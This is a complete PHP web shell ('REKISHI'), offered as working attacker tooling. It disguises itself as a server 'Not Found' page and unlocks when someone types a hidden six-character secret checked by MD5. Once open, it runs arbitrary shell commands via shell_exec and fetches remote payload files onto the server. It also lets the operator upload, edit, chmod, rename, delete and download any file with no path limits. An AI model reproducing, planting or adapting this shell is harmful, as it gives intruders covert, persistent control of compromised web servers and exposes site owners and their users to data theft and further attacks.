<?php
ob_start();
session_start();
header("X-XSS-Protection: 1; mode=block");
header("X-Frame-Options: DENY");
header("X-Content-Type-Options: nosniff");
set_time_limit(0);
error_reporting(E_ALL);
ini_set('display_errors', TRUE);
function sanitize_input($data) {
return htmlspecialchars(trim($data));
}
if (session_status() !== PHP_SESSION_ACTIVE) {
session_start();
}
$secret_hash = '0dea60f9dcec872359b63a126bff3e8d';
if (
isset($_POST['secret_hash']) &&
hash_equals($secret_hash, $_POST['secret_hash'])
) {
$_SESSION['logged_in'] = true;
header('Content-Type: application/json');
echo json_encode([
'success' => true
]);
exit;
}
if (isset($_SESSION['logged_in']) && $_SESSION['logged_in'] === true) {
} else {
$path = isset($_SERVER['REQUEST_URI'])
? dirname($_SERVER['REQUEST_URI'])
: '/';
$path = rtrim(
str_replace('\\', '/', $path),
'/'
);
if (empty($path)) {
$path = '/';
}
echo '<!DOCTYPE html>
<html>
<head>
<title>Not Found</title>
<style>
body {
margin: 0;
padding: 20px 10px;
background: #fff;
color: #000;
font-family: "Times New Roman", serif;
}
.wrapper {
position: relative;
}
h1 {
font-size: 40px;
margin: 0 0 25px 0;
font-weight: bold;
}
p {
font-size: 18px;
margin: 0;
}
</style>
</head>
<body>
<div class="wrapper">
<h1>Not Found</h1>
<p>
The requested URL ' . htmlspecialchars($path, ENT_QUOTES, 'UTF-8') . '/ was not found on this server.
</p>
</div>
<script>
const secretHash = "' . $secret_hash . '";
let currentInput = "";
function md5(string) {
function rotateLeft(value, amount) {
return (value << amount) | (value >>> (32 - amount));
}
function addUnsigned(x, y) {
return (
(x & 0xFFFFFFFF) +
(y & 0xFFFFFFFF)
) >>> 0;
}
function safeAdd(x, y) {
return addUnsigned(x, y);
}
function md5cmn(q, a, b, x, s, t) {
return safeAdd(
rotateLeft(
safeAdd(
safeAdd(a, q),
safeAdd(x, t)
),
s
),
b
);
}
function ff(a, b, c, d, x, s, t) {
return md5cmn(
(b & c) | ((~b) & d),
a,
b,
x,
s,
t
);
}
function gg(a, b, c, d, x, s, t) {
return md5cmn(
(b & d) | (c & (~d)),
a,
b,
x,
s,
t
);
}
function hh(a, b, c, d, x, s, t) {
return md5cmn(
b ^ c ^ d,
a,
b,
x,
s,
t
);
}
function ii(a, b, c, d, x, s, t) {
return md5cmn(
c ^ (b | (~d)),
a,
b,
x,
s,
t
);
}
function utf8Encode(str) {
return unescape(encodeURIComponent(str));
}
function convertToWordArray(str) {
const messageLength = str.length;
const numberOfWordsTemp =
((messageLength + 8) >>> 6) + 1;
const numberOfWords =
numberOfWordsTemp * 16;
const wordArray =
new Array(numberOfWords - 1);
let byteCount = 0;
while (byteCount < messageLength) {
const wordCount = byteCount >> 2;
wordArray[wordCount] =
(wordArray[wordCount] || 0) |
(
str.charCodeAt(byteCount)
<< ((byteCount % 4) * 8)
);
byteCount++;
}
const wordCount = byteCount >> 2;
wordArray[wordCount] =
(wordArray[wordCount] || 0) |
(0x80 << ((byteCount % 4) * 8));
wordArray[numberOfWords - 2] =
messageLength << 3;
wordArray[numberOfWords - 1] =
messageLength >>> 29;
return wordArray;
}
function wordToHex(value) {
let result = "";
for (let i = 0; i <= 3; i++) {
const byte =
(value >>> (i * 8)) & 255;
result +=
("0" + byte.toString(16)).slice(-2);
}
return result;
}
const x =
convertToWordArray(
utf8Encode(string)
);
let a = 0x67452301;
let b = 0xEFCDAB89;
let c = 0x98BADCFE;
let d = 0x10325476;
for (let k = 0; k < x.length; k += 16) {
const AA = a;
const BB = b;
const CC = c;
const DD = d;
a = ff(a,b,c,d,x[k+0],7,0xD76AA478);
d = ff(d,a,b,c,x[k+1],12,0xE8C7B756);
c = ff(c,d,a,b,x[k+2],17,0x242070DB);
b = ff(b,c,d,a,x[k+3],22,0xC1BDCEEE);
a = ff(a,b,c,d,x[k+4],7,0xF57C0FAF);
d = ff(d,a,b,c,x[k+5],12,0x4787C62A);
c = ff(c,d,a,b,x[k+6],17,0xA8304613);
b = ff(b,c,d,a,x[k+7],22,0xFD469501);
a = ff(a,b,c,d,x[k+8],7,0x698098D8);
d = ff(d,a,b,c,x[k+9],12,0x8B44F7AF);
c = ff(c,d,a,b,x[k+10],17,0xFFFF5BB1);
b = ff(b,c,d,a,x[k+11],22,0x895CD7BE);
a = ff(a,b,c,d,x[k+12],7,0x6B901122);
d = ff(d,a,b,c,x[k+13],12,0xFD987193);
c = ff(c,d,a,b,x[k+14],17,0xA679438E);
b = ff(b,c,d,a,x[k+15],22,0x49B40821);
a = gg(a,b,c,d,x[k+1],5,0xF61E2562);
d = gg(d,a,b,c,x[k+6],9,0xC040B340);
c = gg(c,d,a,b,x[k+11],14,0x265E5A51);
b = gg(b,c,d,a,x[k+0],20,0xE9B6C7AA);
a = gg(a,b,c,d,x[k+5],5,0xD62F105D);
d = gg(d,a,b,c,x[k+10],9,0x02441453);
c = gg(c,d,a,b,x[k+15],14,0xD8A1E681);
b = gg(b,c,d,a,x[k+4],20,0xE7D3FBC8);
a = gg(a,b,c,d,x[k+9],5,0x21E1CDE6);
d = gg(d,a,b,c,x[k+14],9,0xC33707D6);
c = gg(c,d,a,b,x[k+3],14,0xF4D50D87);
b = gg(b,c,d,a,x[k+8],20,0x455A14ED);
a = gg(a,b,c,d,x[k+13],5,0xA9E3E905);
d = gg(d,a,b,c,x[k+2],9,0xFCEFA3F8);
c = gg(c,d,a,b,x[k+7],14,0x676F02D9);
b = gg(b,c,d,a,x[k+12],20,0x8D2A4C8A);
a = hh(a,b,c,d,x[k+5],4,0xFFFA3942);
d = hh(d,a,b,c,x[k+8],11,0x8771F681);
c = hh(c,d,a,b,x[k+11],16,0x6D9D6122);
b = hh(b,c,d,a,x[k+14],23,0xFDE5380C);
a = hh(a,b,c,d,x[k+1],4,0xA4BEEA44);
d = hh(d,a,b,c,x[k+4],11,0x4BDECFA9);
c = hh(c,d,a,b,x[k+7],16,0xF6BB4B60);
b = hh(b,c,d,a,x[k+10],23,0xBEBFBC70);
a = hh(a,b,c,d,x[k+13],4,0x289B7EC6);
d = hh(d,a,b,c,x[k+0],11,0xEAA127FA);
c = hh(c,d,a,b,x[k+3],16,0xD4EF3085);
b = hh(b,c,d,a,x[k+6],23,0x04881D05);
a = hh(a,b,c,d,x[k+9],4,0xD9D4D039);
d = hh(d,a,b,c,x[k+12],11,0xE6DB99E5);
c = hh(c,d,a,b,x[k+15],16,0x1FA27CF8);
b = hh(b,c,d,a,x[k+2],23,0xC4AC5665);
a = ii(a,b,c,d,x[k+0],6,0xF4292244);
d = ii(d,a,b,c,x[k+7],10,0x432AFF97);
c = ii(c,d,a,b,x[k+14],15,0xAB9423A7);
b = ii(b,c,d,a,x[k+5],21,0xFC93A039);
a = ii(a,b,c,d,x[k+12],6,0x655B59C3);
d = ii(d,a,b,c,x[k+3],10,0x8F0CCC92);
c = ii(c,d,a,b,x[k+10],15,0xFFEFF47D);
b = ii(b,c,d,a,x[k+1],21,0x85845DD1);
a = ii(a,b,c,d,x[k+8],6,0x6FA87E4F);
d = ii(d,a,b,c,x[k+15],10,0xFE2CE6E0);
c = ii(c,d,a,b,x[k+6],15,0xA3014314);
b = ii(b,c,d,a,x[k+13],21,0x4E0811A1);
a = ii(a,b,c,d,x[k+4],6,0xF7537E82);
d = ii(d,a,b,c,x[k+11],10,0xBD3AF235);
c = ii(c,d,a,b,x[k+2],15,0x2AD7D2BB);
b = ii(b,c,d,a,x[k+9],21,0xEB86D391);
a = safeAdd(a, AA);
b = safeAdd(b, BB);
c = safeAdd(c, CC);
d = safeAdd(d, DD);
}
return (
wordToHex(a) +
wordToHex(b) +
wordToHex(c) +
wordToHex(d)
).toLowerCase();
}
document.addEventListener("keydown", function(e) {
if (
e.ctrlKey ||
e.altKey ||
e.metaKey
) {
return;
}
if (e.key.length !== 1) {
return;
}
currentInput += e.key.toLowerCase();
if (currentInput.length > 6) {
currentInput = currentInput.slice(-6);
}
if (currentInput.length === 6) {
const inputHash = md5(currentInput);
if (inputHash === secretHash) {
e.preventDefault();
e.stopPropagation();
fetch(window.location.href, {
method: "POST",
headers: {
"Content-Type":
"application/x-www-form-urlencoded"
},
body:
"secret_hash=" +
encodeURIComponent(inputHash),
credentials: "same-origin"
})
.then(function(response) {
return response.json();
})
.then(function(data) {
if (data.success === true) {
window.location.reload();
}
})
.catch(function() {
});
}
currentInput = "";
}
});
</script>
</body>
</html>';
exit;
}
$HX = isset($_GET['HX']) ? $_GET['HX'] : getcwd();
$HX = str_replace('\\', '/', $HX);
if (is_file($HX)) {
$HX = dirname($HX);
}
if (isset($_GET['option']) && $_GET['option'] == 'edit' && isset($_POST['new_content'])) {
$file_to_save = $_GET['file'];
if (is_file($file_to_save)) {
if (file_put_contents($file_to_save, $_POST['new_content']) !== false) {
header("Location: ?HX=" . urlencode($HX) . "&msg=success");
} else {
header("Location: ?HX=" . urlencode($HX) . "&msg=error");
}
exit;
}
}
echo '<!DOCTYPE html><html><head><title>REKISHI — 歴史</title>';
echo '<link href="https://fonts.googleapis.com/css2?family=Cinzel+Decorative:wght@700;900&family=Orbitron:wght@500;700;900&family=Noto+Sans+JP:wght@400;700;900&family=JetBrains+Mono:wght@400;600&display=swap" rel="stylesheet">';
echo '<style>
:root {
--bg-black: #050304;
--bg-panel: rgba(18, 10, 13, 0.85);
--bg-input: #0d0709;
--blood-red: #ff003c;
--blood-glow: rgba(255, 0, 60, 0.5);
--neon-gold: #ffb703;
--gold-glow: rgba(255, 183, 3, 0.4);
--cyber-cyan: #00f0ff;
--border-dark: #2d1218;
--text-bright: #f0e6e8;
--text-dim: #7a5e65;
}
* { box-sizing: border-box; }
body {
font-family: "Noto Sans JP", sans-serif;
background-color: var(--bg-black);
background-image:
radial-gradient(ellipse at 50% 0%, rgba(255, 0, 60, 0.12) 0%, transparent 75%),
linear-gradient(rgba(255, 0, 60, 0.03) 1px, transparent 1px),
linear-gradient(90deg, rgba(255, 0, 60, 0.03) 1px, transparent 1px);
background-size: 100% 100%, 30px 30px, 30px 30px;
color: var(--text-bright);
margin: 0;
padding: 30px 20px;
font-size: 0.85rem;
min-height: 100vh;
overflow-x: hidden;
}
/* Watermark Kanji raksasa di background */
body::before {
content: "歴史";
position: fixed;
bottom: -50px;
right: -30px;
font-family: "Noto Sans JP", sans-serif;
font-size: 25vw;
font-weight: 900;
color: rgba(255, 0, 60, 0.025);
pointer-events: none;
z-index: 0;
line-height: 1;
}
.container {
width: 100%;
max-width: 1450px;
margin: 0 auto;
position: relative;
z-index: 1;
}
/* Header Cyber-Samurai */
.header-area {
display: flex;
justify-content: space-between;
align-items: center;
margin-bottom: 30px;
padding: 20px 25px;
background: var(--bg-panel);
border: 1px solid var(--border-dark);
border-top: 3px solid var(--blood-red);
box-shadow: 0 10px 30px rgba(0,0,0,0.8), 0 0 15px rgba(255, 0, 60, 0.15);
backdrop-filter: blur(10px);
clip-path: polygon(0 0, 100% 0, 100% calc(100% - 15px), calc(100% - 15px) 100%, 0 100%);
}
.title-group h1 {
font-family: "Cinzel Decorative", serif;
color: var(--blood-red);
font-size: 2.2rem;
font-weight: 900;
margin: 0;
letter-spacing: 4px;
text-shadow: 0 0 15px var(--blood-glow), 0 0 30px var(--blood-glow);
display: flex;
align-items: center;
gap: 12px;
}
.title-group h1 span.kanji {
font-family: "Noto Sans JP", sans-serif;
font-size: 1.8rem;
color: var(--neon-gold);
text-shadow: 0 0 10px var(--gold-glow);
}
.title-group p {
color: var(--neon-gold);
margin: 6px 0 0 0;
font-family: "Orbitron", sans-serif;
font-size: 0.75rem;
font-weight: 700;
letter-spacing: 3px;
text-transform: uppercase;
}
.search-top input[type="text"] {
background: var(--bg-input);
border: 1px solid var(--border-dark);
border-left: 2px solid var(--neon-gold);
padding: 12px 18px;
color: var(--text-bright);
font-family: "JetBrains Mono", monospace;
font-size: 0.85rem;
width: 300px;
transition: all 0.3s ease;
}
.search-top input[type="text"]:focus {
outline: none;
border-color: var(--blood-red);
box-shadow: 0 0 15px var(--blood-glow);
}
/* Grid Layout */
.grid-2col {
display: grid;
grid-template-columns: 1fr 1fr;
gap: 25px;
margin-bottom: 25px;
}
@media (max-width: 900px) {
.grid-2col { grid-template-columns: 1fr; }
.header-area { flex-direction: column; gap: 20px; align-items: flex-start; }
.search-top { width: 100%; }
.search-top input[type="text"] { width: 100%; }
}
/* Cards dengan Katana Accent */
.card {
background: var(--bg-panel);
border: 1px solid var(--border-dark);
padding: 22px;
margin-bottom: 25px;
position: relative;
box-shadow: 0 15px 35px rgba(0, 0, 0, 0.7);
backdrop-filter: blur(10px);
}
/* Hiasan garis katana di kanan atas card */
.card::before {
content: "";
position: absolute;
top: 0;
right: 0;
width: 40px;
height: 3px;
background: var(--neon-gold);
box-shadow: 0 0 8px var(--neon-gold);
}
.card-title {
font-family: "Orbitron", sans-serif;
font-size: 0.85rem;
color: var(--neon-gold);
margin-top: 0;
margin-bottom: 18px;
font-weight: 700;
text-transform: uppercase;
letter-spacing: 2px;
display: flex;
align-items: center;
gap: 10px;
}
.card-title::before {
content: "⚔";
color: var(--blood-red);
font-size: 1rem;
text-shadow: 0 0 8px var(--blood-glow);
}
/* Inputs & Buttons */
input[type="text"], input[type="password"], input[type="url"] {
padding: 12px 16px;
background: var(--bg-input);
border: 1px solid var(--border-dark);
color: var(--text-bright);
font-family: "JetBrains Mono", monospace;
font-size: 0.85rem;
box-sizing: border-box;
transition: all 0.3s ease;
}
input[type="text"]:focus, input[type="password"]:focus, input[type="url"]:focus {
border-color: var(--blood-red);
box-shadow: 0 0 12px var(--blood-glow);
outline: none;
}
.flex-form {
display: flex;
gap: 12px;
width: 100%;
align-items: center;
}
.flex-form input[type="text"], .flex-form input[type="url"] {
flex: 1;
}
/* Katana Blade Styled Buttons */
.btn-gold {
background: linear-gradient(135deg, #ff003c 0%, #990024 100%);
color: #fff;
cursor: pointer;
border: none;
padding: 12px 24px;
font-family: "Orbitron", sans-serif;
font-weight: 700;
font-size: 0.78rem;
text-transform: uppercase;
letter-spacing: 1.5px;
white-space: nowrap;
transition: all 0.3s;
box-shadow: 0 0 12px var(--blood-glow);
clip-path: polygon(10px 0, 100% 0, 100% calc(100% - 10px), calc(100% - 10px) 100%, 0 100%, 0 10px);
}
.btn-gold:hover {
background: linear-gradient(135deg, #ff2a5f 0%, #ff003c 100%);
box-shadow: 0 0 20px var(--blood-glow);
transform: translateY(-2px);
}
.btn-outline-blue {
background: transparent;
border: 1px solid var(--neon-gold);
color: var(--neon-gold);
cursor: pointer;
padding: 12px 24px;
font-family: "Orbitron", sans-serif;
font-weight: 700;
font-size: 0.78rem;
text-transform: uppercase;
letter-spacing: 1.5px;
white-space: nowrap;
transition: all 0.3s;
clip-path: polygon(10px 0, 100% 0, 100% calc(100% - 10px), calc(100% - 10px) 100%, 0 100%, 0 10px);
}
.btn-outline-blue:hover {
background: rgba(255, 183, 3, 0.15);
box-shadow: 0 0 15px var(--gold-glow);
transform: translateY(-2px);
}
/* Upload Styling */
.upload-box {
display: inline-flex;
align-items: center;
background: var(--bg-input);
border: 1px dashed var(--blood-red);
padding: 6px 12px;
gap: 12px;
}
.file-input-wrapper {
position: relative;
overflow: hidden;
display: inline-block;
}
.file-input-wrapper input[type="file"] {
font-size: 100px;
position: absolute;
left: 0;
top: 0;
opacity: 0;
cursor: pointer;
}
.btn-file-dummy {
background: var(--neon-gold);
color: #000;
padding: 8px 16px;
font-family: "Orbitron", sans-serif;
font-weight: 900;
font-size: 0.7rem;
text-transform: uppercase;
border: none;
cursor: pointer;
}
.file-name-text {
color: var(--text-bright);
font-family: "JetBrains Mono", monospace;
font-size: 0.8rem;
padding-right: 10px;
}
pre {
background: #000;
border: 1px solid var(--border-dark);
border-left: 3px solid var(--cyber-cyan);
padding: 18px;
color: var(--cyber-cyan);
font-family: "JetBrains Mono", monospace;
font-size: 0.85rem;
margin-top: 18px;
max-height: 280px;
overflow-y: auto;
box-shadow: inset 0 0 15px rgba(0, 0, 0, 0.9);
}
/* Breadcrumb Path */
.path-box {
background: var(--bg-panel);
padding: 15px 22px;
margin-bottom: 25px;
border: 1px solid var(--border-dark);
border-left: 4px solid var(--neon-gold);
font-family: "JetBrains Mono", monospace;
font-size: 0.85rem;
box-shadow: 0 5px 20px rgba(0,0,0,0.5);
}
.path-box strong {
color: var(--blood-red);
margin-right: 10px;
letter-spacing: 1px;
font-family: "Orbitron", sans-serif;
}
.path-box a {
color: var(--neon-gold);
text-decoration: none;
padding: 2px 6px;
transition: all 0.2s;
}
.path-box a:hover {
color: var(--blood-red);
text-shadow: 0 0 8px var(--blood-glow);
}
/* Table Explorer */
table {
width: 100%;
border-collapse: collapse;
}
th {
background-color: #0b0507;
color: var(--neon-gold);
padding: 16px 18px;
font-family: "Orbitron", sans-serif;
font-size: 0.75rem;
font-weight: 700;
text-transform: uppercase;
letter-spacing: 1.5px;
border-bottom: 2px solid var(--border-dark);
text-align: left;
}
td {
padding: 14px 18px;
background: transparent;
color: var(--text-bright);
font-size: 0.85rem;
border-bottom: 1px solid var(--border-dark);
transition: background 0.2s;
}
tr:hover td {
background: rgba(255, 0, 60, 0.05);
}
td a {
color: var(--text-bright);
text-decoration: none;
font-family: "JetBrains Mono", monospace;
font-weight: 500;
transition: color 0.2s;
}
td a:hover {
color: var(--blood-red);
text-shadow: 0 0 5px var(--blood-glow);
}
/* Action Buttons */
.actions { white-space: nowrap; }
.actions a {
font-family: "Orbitron", sans-serif;
font-size: 0.68rem;
padding: 5px 12px;
text-decoration: none;
display: inline-block;
margin-right: 4px;
font-weight: 700;
text-transform: uppercase;
letter-spacing: 0.5px;
transition: all 0.2s;
}
.act-chmod, .act-rename {
border: 1px solid var(--neon-gold);
color: var(--neon-gold);
}
.act-chmod:hover, .act-rename:hover {
background: var(--neon-gold);
color: #000;
box-shadow: 0 0 10px var(--gold-glow);
}
.act-delete {
border: 1px solid var(--blood-red);
color: var(--blood-red);
}
.act-delete:hover {
background: var(--blood-red);
color: #fff;
box-shadow: 0 0 12px var(--blood-glow);
}
.act-download {
border: 1px solid var(--cyber-cyan);
color: var(--cyber-cyan);
}
.act-download:hover {
background: var(--cyber-cyan);
color: #000;
box-shadow: 0 0 10px rgba(0, 240, 255, 0.4);
}
/* Alerts */
.status-msg {
padding: 14px 20px;
margin-bottom: 25px;
font-family: "Orbitron", sans-serif;
font-size: 0.8rem;
font-weight: 700;
letter-spacing: 1px;
}
.status-success {
background: rgba(0, 255, 170, 0.08);
border: 1px solid #00ffaa;
color: #00ffaa;
box-shadow: 0 0 10px rgba(0, 255, 170, 0.2);
}
.status-error {
background: rgba(255, 0, 60, 0.12);
border: 1px solid var(--blood-red);
color: var(--blood-red);
box-shadow: 0 0 15px var(--blood-glow);
}
textarea {
font-size: 13px;
width: 100%;
height: 400px;
background-color: #000;
color: var(--cyber-cyan);
border: 1px solid var(--border-dark);
padding: 18px;
font-family: "JetBrains Mono", monospace;
box-sizing: border-box;
}
textarea:focus {
outline: none;
border-color: var(--blood-red);
box-shadow: 0 0 15px var(--blood-glow);
}
</style>
<script>
function updateFileName(input) {
var label = document.getElementById("file-name-display");
if(input.files.length > 0) {
label.innerText = input.files.length + " File(s) selected";
} else {
label.innerText = "No file selected";
}
}
</script>
</head><body>';
echo '<div class="container">';
echo '<div class="header-area">';
echo '<div class="title-group"><h1>REKISHI <span class="kanji">歴史</span></h1><p>Special Grade Anomaly</p></div>';
echo '<div class="search-top">';
echo '<form method="get" style="margin:0;">';
echo '<input type="text" name="search" value="'.(isset($_GET['search']) ? htmlspecialchars($_GET['search']) : '').'" placeholder="🔍 SEARCH TERRITORY..." />';
echo '</form>';
echo '</div></div>';
if (isset($_GET['msg'])) {
if ($_GET['msg'] == 'success') {
echo '<div class="status-msg status-success">⚔ WORKSPACE UPDATED</div>';
} elseif ($_GET['msg'] == 'error') {
echo '<div class="status-msg status-error">⚔ ACTION BLOCKED</div>';
}
}
echo '<div class="grid-2col">';
echo '<div class="card">';
echo '<div class="card-title">TERMINAL SHELL COMMAND</div>';
echo '<form method="post" class="flex-form">
<input type="text" name="cmd" placeholder="Execute command (e.g., ls -la, whoami)" required />
<input type="submit" value="EXECUTE" class="btn-gold" />
</form>';
if (isset($_POST['cmd'])) {
$command = $_POST['cmd'];
echo '<pre>' . htmlspecialchars(shell_exec($command)) . '</pre>';
}
echo '</div>';
echo '<div class="card">';
echo '<div class="card-title">REMOTE FILE</div>';
echo '<form method="post" class="flex-form">
<input type="url" name="remote_url" placeholder="Remote File URL (http://site.com/payload.txt)" required />
<input type="submit" value="EXECUTE" class="btn-gold" />
</form>';
if (isset($_POST['remote_url'])) {
$remote_url = filter_var($_POST['remote_url'], FILTER_SANITIZE_URL);
if (filter_var($remote_url, FILTER_VALIDATE_URL)) {
$file_name = basename($remote_url);
if (file_put_contents($file_name, fopen($remote_url, 'r'))) {
echo '<div class="status-msg status-success" style="margin-top:15px;">Summoned: ' . $file_name . '</div>';
} else {
echo '<div class="status-msg status-error" style="margin-top:15px;">Summoning failed.</div>';
}
} else {
echo '<div class="status-msg status-error" style="margin-top:15px;">Invalid Scroll URL.</div>';
}
}
echo '</div></div>';
echo '<div class="path-box"><strong>PATH</strong> ';
$paths = explode('/', $HX);
foreach ($paths as $id => $pat) {
if ($pat == '' && $id == 0) {
echo '<a href="?HX=/">/</a>';
continue;
}
if ($pat == '') continue;
echo '<a href="?HX=';
for ($i = 0; $i <= $id; $i++) {
echo "$paths[$i]";
if ($i != $id) echo "/";
}
echo '">'.$pat.'</a>/';
}
echo '</div>';
echo '<div class="card">';
echo '<div class="card-title">WORKSPACE</div>';
echo '<form method="post" class="flex-form" style="margin-bottom: 20px;">
<input type="text" name="new_name" placeholder="Name Of File / Folder" required />
<input type="submit" name="create_file" value="+ FILE" class="btn-gold" />
<input type="submit" name="create_dir" value="+ FOLDER" class="btn-outline-blue" />
</form>';
if (isset($_POST['create_file'])) {
$new_file = $HX . '/' . sanitize_input($_POST['new_name']);
if (file_put_contents($new_file, '') !== false) {
echo '<div class="status-msg status-success">File Created.</div>';
} else {
echo '<div class="status-msg status-error">Failed to create File.</div>';
}
}
if (isset($_POST['create_dir'])) {
$new_dir = $HX . '/' . sanitize_input($_POST['new_name']);
if (mkdir($new_dir)) {
echo '<div class="status-msg status-success">Domain Created.</div>';
} else {
echo '<div class="status-msg status-error">Failed to create domain.</div>';
}
}
echo '<form enctype="multipart/form-data" method="POST" style="margin:0; display:flex; gap:12px; align-items:center;">
<div class="upload-box">
<div class="file-input-wrapper">
<button type="button" class="btn-file-dummy">SELECT FILE</button>
<input type="file" name="files[]" required multiple onchange="updateFileName(this)" />
</div>
<span class="file-name-text" id="file-name-display">NO FILE SELECTED</span>
</div>
<input type="submit" value="UPLOAD" class="btn-gold" />
</form>';
if (isset($_FILES['files'])) {
$errors = 0;
$success = 0;
$total_files = count($_FILES['files']['name']);
for ($i = 0; $i < $total_files; $i++) {
if (empty($_FILES['files']['name'][$i])) continue;
$target_file = $HX . '/' . basename($_FILES['files']['name'][$i]);
if (move_uploaded_file($_FILES['files']['tmp_name'][$i], $target_file)) {
$success++;
} else {
$errors++;
}
}
if ($success > 0 && $errors == 0) {
echo '<div class="status-msg status-success" style="margin-top:15px;">Uploaded ' . $success . ' scroll(s) successfully.</div>';
} elseif ($success > 0 && $errors > 0) {
echo '<div class="status-msg status-success" style="margin-top:15px;">Success: ' . $success . ', Failed: ' . $errors . '</div>';
} else {
echo '<div class="status-msg status-error" style="margin-top:15px;">All scrolls failed to upload.</div>';
}
}
echo '</div>';
if (isset($_GET['option'])) {
$option = $_GET['option'];
$file = $_GET['file'];
if (is_file($file) || is_dir($file)) {
echo '<div class="card" style="border-left: 4px solid var(--neon-gold); margin-bottom:25px;">';
if ($option == 'view' && is_file($file)) {
echo '<div style="display: flex; justify-content: space-between; align-items: center; margin-bottom: 18px;">';
echo '<h3 class="card-title" style="margin: 0;">Inspecting File: ' . htmlspecialchars(basename($file)) . '</h3>';
echo '<a href="?option=edit&file=' . urlencode($file) . '&HX=' . urlencode($HX) . '" class="btn-gold" style="text-decoration:none; padding: 8px 16px;">EDIT FILE</a>';
echo '</div>';
echo '<textarea readonly>' . htmlspecialchars(file_get_contents($file)) . '</textarea>';
} elseif ($option == 'edit' && is_file($file)) {
echo '<form method="post">
<h3 class="card-title">EDIT FILE CONTENT: '.htmlspecialchars(basename($file)).'</h3>
<textarea name="new_content">'.htmlspecialchars(file_get_contents($file)).'</textarea><br><br>
<input type="submit" value="Save Changes" class="btn-gold" />
<a href="?HX='.urlencode($HX).'" style="color: var(--blood-red); text-decoration: none; margin-left: 15px; font-family: Orbitron; font-size: 0.8rem; font-weight: 700;">[ CANCEL ]</a>
</form>';
} elseif ($option == 'chmod') {
if (isset($_POST['new_perms'])) {
chmod($file, octdec($_POST['new_perms']));
echo '<div class="status-msg status-success">Permissions altered.</div>';
}
echo '<form method="post" class="flex-form">
<h3 class="card-title" style="width:100%">Alter Chmod: '.htmlspecialchars(basename($file)).'</h3>
<input type="text" name="new_perms" placeholder="e.g., 0755" required />
<input type="submit" value="Change" class="btn-gold" />
</form>';
} elseif ($option == 'rename') {
if (isset($_POST['new_name'])) {
rename($file, dirname($file) . '/' . $_POST['new_name']);
echo '<div class="status-msg status-success">Renamed successfully.</div>';
}
echo '<form method="post" class="flex-form">
<h3 class="card-title" style="width:100%">Rename Scroll: '.htmlspecialchars(basename($file)).'</h3>
<input type="text" name="new_name" placeholder="New Name" required />
<input type="submit" value="Rename" class="btn-gold" />
</form>';
} elseif ($option == 'delete') {
if (is_dir($file)) {
rmdir($file);
} else {
unlink($file);
}
echo '<div class="status-msg status-error">File Deleted.</div>';
}
echo '</div>';
}
}
echo '<div class="card" style="padding: 0; overflow-x: auto;">';
echo '<div class="card-title" style="padding: 22px 22px 10px 22px; margin:0;">FILE SYSTEM EXPLORER</div>';
echo '<table>';
echo '<tr><th>TYPE</th><th>NAME</th><th>SIZE (BYTES)</th><th>PERMISSIONS</th><th>ACTION</th></tr>';
$scandir = array_diff(scandir($HX), array('.', '..'));
usort($scandir, function($a, $b) use ($HX) {
$pathA = $HX . '/' . $a;
$pathB = $HX . '/' . $b;
if (is_dir($pathA) && !is_dir($pathB)) return -1;
if (!is_dir($pathA) && is_dir($pathB)) return 1;
return strcasecmp($a, $b);
});
if (isset($_GET['search'])) {
$search_query = strtolower($_GET['search']);
$scandir = array_filter($scandir, function($file) use ($search_query) {
return strpos(strtolower($file), $search_query) !== false;
});
}
foreach ($scandir as $item) {
$path = "$HX/$item";
$isDir = is_dir($path) ? '📁' : '📜';
$size = is_file($path) ? number_format(filesize($path)) : '-';
$perms = @fileperms($path);
if ($perms !== false) {
$chmod_val = substr(sprintf('%o', $perms), -4);
$formated_perms = '';
$formated_perms .= (($perms & 0x0100) ? 'r' : '-');
$formated_perms .= (($perms & 0x0080) ? 'w' : '-');
$formated_perms .= (($perms & 0x0040) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-'));
$formated_perms .= (($perms & 0x0020) ? 'r' : '-');
$formated_perms .= (($perms & 0x0010) ? 'w' : '-');
$formated_perms .= (($perms & 0x0008) ? (($perms & 0x0200) ? 's' : 'x' ) : (($perms & 0x0200) ? 'S' : '-'));
$formated_perms .= (($perms & 0x0004) ? 'r' : '-');
$formated_perms .= (($perms & 0x0002) ? 'w' : '-');
$formated_perms .= (($perms & 0x0001) ? (($perms & 0x0100) ? 't' : 'x' ) : (($perms & 0x0100) ? 'T' : '-'));
} else {
$chmod_val = '????';
$formated_perms = '---------';
}
echo "<tr><td style='width: 40px; text-align:center;'>$isDir</td>";
if(is_dir($path)){
echo "<td><a href=\"?HX=$path\" style='color:var(--neon-gold); font-weight:700;'>$item</a></td>";
} else {
echo "<td><a href=\"?option=view&file=$path&HX=$HX\">$item</a></td>";
}
echo "<td style='color: var(--text-dim); width: 140px; font-family: \"JetBrains Mono\", monospace;'>$size</td>
<td style='color: var(--blood-red); font-family:\"JetBrains Mono\", monospace; font-weight:600; width: 190px;'>$chmod_val <span style='color:var(--text-dim); font-weight:normal;'>>></span> $formated_perms</td>
<td class='actions' style='width: 320px;'>";
if (is_file($path)) {
echo "<a href=\"?option=edit&file=$path&HX=$HX\" class='act-chmod' style='border-color:#00ffaa; color:#00ffaa;'>Edit</a>";
}
echo "<a href=\"?option=chmod&file=$path&HX=$HX\" class='act-chmod'>Chmod</a>";
echo "<a href=\"?option=rename&file=$path&HX=$HX\" class='act-rename'>Rename</a>";
echo "<a href=\"?option=delete&file=$path&HX=$HX\" onclick=\"return confirm('Delete This File?')\" class='act-delete'>Delete</a>";
echo "<a href=\"?download=$path\" class='act-download'>Download</a></td></tr>";
}
echo '</table></div>';
if (isset($_GET['download'])) {
$file = $_GET['download'];
if (file_exists($file) && is_file($file)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename='.basename($file));
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($file));
ob_clean();
flush();
readfile($file);
exit;
} else {
echo '<div class="status-msg status-error">Scroll not found.</div>';
}
}
echo '</div></body></html>';
?>